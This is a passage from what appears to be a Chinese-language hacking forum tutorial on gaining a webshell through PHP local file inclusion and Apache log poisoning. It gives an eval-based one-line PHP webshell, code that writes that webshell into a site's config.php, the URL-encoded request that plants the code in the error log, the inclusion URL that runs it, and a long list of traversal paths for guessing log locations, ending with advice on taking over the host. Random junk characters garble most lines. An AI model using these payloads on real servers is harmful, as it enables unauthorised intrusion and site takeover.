因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
: j$ B" y( K& z9 O P/ ?/ M5 E+ X" Y$ N7 w7 a
比如还是这句一句话木马 . y) z$ o# \0 i/ E3 H
<?eval($_POST[cmd]);?>
: ~# T7 X+ u1 I) h5 [% |+ p$ \0 b6 M5 p) H3 D
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, ! `9 z7 y. j" e& H3 D, s: t
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 , r" W# [1 b, ]: k& R0 u9 E9 q4 h
8 ^/ u1 ]6 |0 k7 W7 ^! M
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); " c t, H4 J0 X* W3 I. Y+ Q
fclose($fp);?> //在config.php里写入一句木马语句
, R3 l( L& g/ V+ |7 p9 }2 n8 o6 O
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
% B- @2 c' N: n: p转换为
# W6 q) J8 e0 B0 O5 Z# M%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F ! V. b4 j$ \: V
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
! U& w! }' W8 } P3 k%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B & }/ {6 B" W8 h. a
fclose%28%24fp%29%3B%3F%3E
$ o; m5 A, a) [8 L0 b. [& T+ l0 u我们提交
& g/ Y- w/ g. A& l) w$ Y/ Nhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 8 k& \& z6 @" W) r
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
' X! K3 m) ]+ t H' K& q& n& G%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B * r. W6 v0 s! ~% @; B$ i
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
6 k* t% K6 A, B" F9 ^! T* [0 R. i2 u! r* T* x
这样就错误日志里就记录下了这行写入webshell的代码。 2 _; E8 d1 ^" @/ Q
我们再来包含日志,提交
+ p/ F8 l0 }2 w$ ahttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 7 f C3 v" Y6 ], m
h ]( X7 x6 s5 k1 f
这样webshell就写入成功了,config.php里就写入一句木马语句
1 M- ?" _' }/ R% JOK. " o+ i0 }* p% i, E. t9 ?+ B
http://www.xxx.com/forum/config.php这个就成了我们的webshell
, F, W4 e+ E: m _& c6 V直接用lanker的客户端一连,主机就是你的了。
$ k9 u& U4 I* F' m; ]
3 F! }1 ]' @0 i$ p/ iPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 % Q t9 ?) B' G
4 C# b" h! B' ]* y! Z; C
其他的日志路径,你可以去猜,也可以参照这里。
/ T. P: N) f+ w C1 m- b3 N../../../../../../../../../../var/log/httpd/access_log
0 f( {" }$ S, G% ?& \2 z% f6 [../../../../../../../../../../var/log/httpd/error_log , @# ~" {; t! d) R; `
../apache/logs/error.log - l9 [) e1 c7 H, x
../apache/logs/access.log . a( q. r; R2 l) [; {
../../apache/logs/error.log
0 r& d! M# | K; a../../apache/logs/access.log $ ? I/ u7 Q& c8 G
../../../apache/logs/error.log $ L* j5 ~4 z1 o7 U& b y
../../../apache/logs/access.log 9 y- {! q, x! B+ q' c6 p3 T
../../../../../../../../../../etc/httpd/logs/acces_log
* J9 D+ s1 e3 ]& p% h5 P0 L" b../../../../../../../../../../etc/httpd/logs/acces.log
) ^- |( t. Q% x0 s* G& C& y5 Z../../../../../../../../../../etc/httpd/logs/error_log , q* p. t5 i. M |/ L
../../../../../../../../../../etc/httpd/logs/error.log 5 @" v+ N; h# J$ {" b
../../../../../../../../../../var/www/logs/access_log
, @% ^4 Y" i2 Z* p8 q../../../../../../../../../../var/www/logs/access.log " S# H. ^* j. K! _' z
../../../../../../../../../../usr/local/apache/logs/access_log 1 ]- W3 W4 B/ B5 k9 W# T
../../../../../../../../../../usr/local/apache/logs/access.log
+ m9 r. o" J# d5 H, u4 Q../../../../../../../../../../var/log/apache/access_log # f& g5 r) a" }6 {2 J- Y
../../../../../../../../../../var/log/apache/access.log ' F$ j7 d& s' N$ v/ W
../../../../../../../../../../var/log/access_log : n- R3 v$ {, F& `
../../../../../../../../../../var/www/logs/error_log
{2 f. g& P7 B; c6 O5 L../../../../../../../../../../var/www/logs/error.log
. @9 p- S, h* h; J../../../../../../../../../../usr/local/apache/logs/error_log ! X' T7 Q9 a( k: z' B5 D
../../../../../../../../../../usr/local/apache/logs/error.log
3 \$ F/ t) N) X7 m% W' k../../../../../../../../../../var/log/apache/error_log
; ~# \; _( m5 }6 t/ S9 ]2 T) \../../../../../../../../../../var/log/apache/error.log
6 {3 e& K. w f4 l, h) x' D0 t../../../../../../../../../../var/log/access_log * }/ V* _- j, |( C* R
../../../../../../../../../../var/log/error_log 8 u S# c- x y5 Z6 t
/var/log/httpd/access_log
$ M; K* ^: ~8 a2 g; l/ e5 I* _/var/log/httpd/error_log
9 [9 [$ C- y& Q. j/ d- I; X6 { x../apache/logs/error.log 8 Q* U6 @" S4 l( V1 J/ z5 A
../apache/logs/access.log / `% H4 f7 m7 Z6 n. H% B+ F
../../apache/logs/error.log
2 C7 k" C9 m, r N1 ]. t../../apache/logs/access.log " x5 T+ Q; {; L
../../../apache/logs/error.log : y. B/ G: L ]( H3 v( G
../../../apache/logs/access.log
. I7 ~; J4 E0 Q e* w( j/etc/httpd/logs/acces_log ' P5 C) e9 o+ _4 [3 p
/etc/httpd/logs/acces.log
5 H6 e6 J0 j5 o/etc/httpd/logs/error_log - ^5 X _# K8 T, a0 N) E# q
/etc/httpd/logs/error.log 1 a9 M2 j+ m; A' [4 w _ Q( n
/var/www/logs/access_log 8 V. ~* Y) B: K3 Z
/var/www/logs/access.log
& ^- P1 n5 h3 V+ S0 s/ l* [; r/usr/local/apache/logs/access_log
3 H, N7 z7 |: A: H' B! D/ k! R/usr/local/apache/logs/access.log
9 x1 a, }* Q. U* V/var/log/apache/access_log 6 h3 N& o* T/ X+ y/ {
/var/log/apache/access.log
2 y, _7 O! S0 J/ O1 C3 L) J/var/log/access_log 7 l8 I1 n# ?$ M# S+ D1 X
/var/www/logs/error_log 2 d1 k0 m E8 {1 ~& R- g5 U! U
/var/www/logs/error.log * P* p1 X2 N+ B$ O! ?! {2 ~$ i) Y
/usr/local/apache/logs/error_log
& H# ` j/ H& M! }6 \( K/usr/local/apache/logs/error.log 8 j/ i3 Y, H* F) N5 z6 ~/ {" k
/var/log/apache/error_log ; R |. |/ I3 G( m
/var/log/apache/error.log
3 }. F7 ^7 v5 K0 I% l# F) m5 E/var/log/access_log
7 L: L K0 f" l' a/var/log/error_log |